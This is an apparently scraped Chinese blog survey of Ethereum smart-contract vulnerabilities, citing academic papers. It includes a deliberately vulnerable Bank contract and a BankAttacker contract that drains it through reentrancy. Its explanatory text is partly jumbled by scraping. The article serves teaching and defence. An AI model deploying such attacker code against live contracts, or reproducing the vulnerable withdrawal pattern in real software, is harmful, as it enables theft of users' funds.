目录:html
DelegateCall
[3]参考文献:
[1]: [Principles of Security and Trust'17][A Survey of Attacks on Ethereum Smart Contracts (SoK)](https://eprint.iacr.org/2016/1007.pdf )
[2]: [CCS'16][Making Smart Contracts Smarter](https://eprint.iacr.org/2016/633.pdf )
[3]: [ASE'18][ContractFuzzer: Fuzzing Smart Contracts for Vulnerability Detection](http://jiangbo.buaa.edu.cn/ContractFuzzerASE18.pdf )git
ether
时(没有任何其它数据),这个函数也会被执行。/* 此合约用于1)记录用户余额,2)能够取款,3)能够存款。有reentrancy漏洞。*/ contract Bank{ /* 地址(惟一)和余额的映射 */ mapping(address=>uint) userBalances; /* 返回用户余额 */ function getUserBalance(address user) constant returns(uint) { return userBalances[user]; } /* 给指定的用户增长余额 */ function addToBalance() { userBalances[msg.sender] = userBalances[msg.sender] + msg.value; } /* 用户取款(这里假设取余额中所有的钱) */ function withdrawBalance() { uint amountToWithdraw = userBalances[msg.sender]; /* 把钱转给用户。若是交易失败,则throw。 */ if (msg.sender.call.value(amountToWithdraw)() == false) { throw; } /* 若是交易成功,把用户的余额设置为0。 */ userBalances[msg.sender] = 0; } } /* 这是一个攻击具备reentrancy漏洞的智能合约(Bank)的智能合约(BankAttacker)。在这个例子里,它实现了两次攻击。 */ contract BankAttacker{ bool is_attack; address bankAddress; /* 输入:1)_bankAddress:要攻击的智能合约(Bank)的地址,2)_is_attack:开启或关闭攻击。*/ function BankAttacker(address _bankAddress, bool _is_attack){ bankAddress=_bankAddress; is_attack=_is_attack; } /* 这是一个fallback函数,用于调用withdrawnBalance函数(当开始攻击时,即is_attack为true) 。这个函数会被触发是由于有reentrancy漏洞的智能合约(Bank)中的withdrawBalance函数被执行。为了不无限递归调用fallbacks,有必要设置有限的次数,例如这里设置2次。由于每次调用是须要gas的,若是gas用完了,攻击就失败了。 */ function() { if(is_attack==true) { is_attack=false; if(bankAddress.call(bytes4(sha3("withdrawBalance()")))) { throw; } } } /* 存款函数。主要功能是给智能合约Bank发送75wei,而且调用addToBalance。 */ function deposit(){ if(bankAddress.call.value(2).gas(20764)(bytes4(sha3("addToBalance()"))) ==false) { throw; } } /* 这个函数会触发Bank中的withdrawBalance函数。*/ function withdraw(){ if(bankAddress.call(bytes4(sha3("withdrawBalance()")))==false ) { throw; } } }
攻击者利用BankAttack(vulnerable contract)与Bank进行交互,主要过程:github
基本概念
每一个智能合约的函数经过函数名和参数类型来保证惟一性(Signature)。因此,原本一个合约时想执行某函数,因为代码写错了,没有匹配到其余的函数,因此就默认调用 fallback 函数。安全
检测方法
检测参数类型和函数名与调用函数是否一致。网络
send
(至关于一个特殊的call()
)发送以太币到一个合约时,有可能会发生out-of-gas
异常。当签名不匹配任何的函数时,将会触发回退函数。因为send()
函数指定了一个空函数签名,因此当fallback函数存在时,它老是会调用它。但和通常的函数不一样的是,执行send()
所消耗的gas默认上线被限定在2,300(若是特别指定上限的话,能够大于2,300)。out-of-gas
异常。由于2,300不足以执行D1的 fallback() 函数,即count++;
。msg.value
)的ether。而后就会调用KotET的 fallback 函数。fallback 函数会首先checkmsg.value
是否大于以前的king设定的报价(LINE14)。若是小于,则说明竞价失败,则throw
。反之,就会取得王座,成为新的king。call
替换send
,而后去check它的返回值,如false
则throw
。虽然这个版本看似比以前的版本要好,可是,这个合约仍是有bug:假设如今有一个叫Mallory
的attacker,它的 fallback 函数里面就是一个throw
。它发送足够的ether给KotET,而后成为的新的king。这个时候,就再也没有人能够取代它的王位,由于每次给Mallory
发送ether的时候,都必需要调用Mallory
的 fallback 函数。所以,KotET的LINE6的条件会一直为true
。所以,程序不会再执行下去。call
,delegatecall
,callcode
)msg
会随着调用的发起而改变,msg
保存了调用方的信息包括:调用发起的地址,交易金额,被调用函数字符序列等。call
: 最经常使用的调用方式,调用后内置变量 msg
的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。delegatecall
: 调用后内置变量 msg
的值不会修改为调用者,但执行环境为调用者的运行环境。callcode
: 调用后内置变量 msg
的值会修改为调用者,但执行环境为调用者的运行环境。throw
语句revert
状态,并返回false
。可是,当一个合约以不一样的方式调用另一个合约时,solidity没有一个一致的方法去处理异常。调用的合约可能没法获取被调用的合约中的异常信息。以下图所示,Bob
直接调用Alice
的ping
Bob
的x
仍是为0。Bob
经过call
调用Alice
的ping
call
返回false==>执行继续。因此,Bob
的x
为0。call
来实现的。那么,异常会进行传递(相似于溯源),被调用的合约的side effect都会revert。全部由最初调用函数的用户提供的的gas也都被消耗完。call/send
调用。基本概念
solidity是强类型语言,因此会有类型检查,如变量赋值时,如把字符串赋值给整型变量。可是,有些状况即便类型不匹配,也不会进行类型检查,所以会致使此bug。app
c
是不是一个有效地址;Alice
里是否真的有ping
。c
不是一个地址,因此直接return。c
是一个正确的地址,可是,没有匹配任何Alice
中的函数,因此调用alice
的 fallback 函数。定义
在[2]中,它也被称做"Transaction-Ordering Dependence(TOD)"。一个block包含一个transaction的集合,同属于一个block的transaction的执行顺序是不肯定的(只有矿工能够肯定)。所以,也就致使了block的状态是不肯定的。假设block处于状态\(σ\),其中包含了两个transaction \(T_1\)和\(T_2\)。\(T_1\)和\(T_2\)又同时调用了同一个合约。那么,在这个时候,用户是没法知道这个合约的状态的,由于这取决于\(T_1\)和\(T_2\)的实际执行顺序。less
Puzzle
。其中,\(T_o\)是来自合约的全部者,他想更新提出方案的奖励值。\(T_o\)是来自提出解决方案的用户,他想经过方案获得奖励。那么,在这个时候,\(T_o\)和\(T_u\)的执行顺序会影响到提出方案的用户最终能得到多少奖励。Puzzle
合约的全部者能够一直保持监听网络,看是否有人提到解决方案到Puzzle
。一旦有,他就发送一个transaction去更新奖励(好比设为一个很小的数)。在这种状况下,合约的全部者就颇有可能(注意,并不是必定)经过很小的花费就获得了解决方案。基本概念
不少合约的执行逻辑是和当前block的时间戳有关的。而一个block的时间戳是由矿工(挖矿时的系统)决定的,而且容许有。可是,这里时间能够容许有900秒的偏移(The miner could cheat in the timestamp by a tolerance of 900 seconds。dom
场景/例子
第五行到第七行依赖于当前block的时间戳。所以,矿工能够事先计算出对本身有利的时间戳,而且在挖矿时将时间设置成对本身有利的时间。ide
delegatecall
和call
的区别?delegatecall
?delegatecall
的目的是用于实现相似于代码库的调用。delegatecall
的目的是让合约在不用传输自身状态(如balance、storage)的状况下可使用其余合约的代码。场景/例子
在Wallet
合约中,LINE6调用delegatecall
而且传参msg.data
。这使得attacker能够调用walletLibrary
中的任意一个public function。所以,attacker能够调用LINE10的initWallet
,以此成为Wallet
这个合约的拥有者。而后他就能够从wallet
发送ether到他本身的地址。函数
基本概念
有些合约用于接受ether,并转帐给其余地址。可是,这些合约自己并无本身实现一个转帐函数,而是经过delegatecall
去调用一些其余合约中的转帐函数去实现转帐的功能。万一这些提供转帐功能的合约执行suicide
或self-destruct
操做的话,那么,经过delegatecall
调用转帐功能的合约就有可能发生ether被冻结的状况。